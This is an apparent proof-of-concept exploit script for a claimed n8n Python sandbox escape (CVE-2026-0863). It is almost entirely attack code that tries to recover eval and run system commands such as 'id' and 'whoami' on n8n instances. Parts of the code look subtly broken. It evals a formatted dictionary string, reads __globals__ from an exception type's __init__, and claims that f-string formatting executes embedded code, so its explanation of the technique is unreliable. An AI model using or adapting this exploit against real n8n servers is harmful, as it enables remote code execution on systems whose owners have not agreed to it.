CVE-2026-0863 n8n Python Runner沙箱逃逸漏洞

# CVE-2026-0863 n8n Python Sandbox Escape PoC # This PoC demonstrates escaping n8n's Python sandbox using string formatting # Author: Based on JFrog Research ([email protected]) # Target: n8n instances running in 'Internal' execution mode def exploit_sandbox_escape(): """ n8n Python sandbox escape via exception formatting and implicit code execution. This PoC shows how to bypass sandbox restrictions to achieve RCE. """ try: # Step 1: Trigger exception to expose restricted objects raise Exception("test") except Exception as e: # Step 2: Use string formatting to access __init__.__globals__ # The key is using format specifier to traverse object attributes payload = "{0.__init__.__globals__}".format(type(e)) # Step 3: Access builtins through globals dictionary # This bypasses sandbox restrictions on direct builtins access globals_dict = eval(payload) # Step 4: Get reference to __builtins__ which contains eval/exec builtins = globals_dict.get('__builtins__') if builtins: # Step 5: Execute arbitrary code # Example: Run system command code = "__import__('os').system('id')" result = builtins['eval'](code) return result return None # Alternative method using f-string formatting def alternative_exploit(): """ Alternative sandbox escape using f-string implicit execution. """ try: # Create object with controlled __str__ method class SandboxBypass: def __str__(self): # Access restricted attributes through exception handling return "{0.__init__.__globals__[__builtins__][eval](__import__('os').popen('whoami').read())" raise Exception(SandboxBypass()) except Exception as ex: # Format string triggers implicit code execution return f"{ex}" if __name__ == "__main__": print("CVE-2026-0863 n8n Sandbox Escape PoC") print("This code is for educational purposes only.") # Note: Actual exploitation requires n8n Code node with Python runner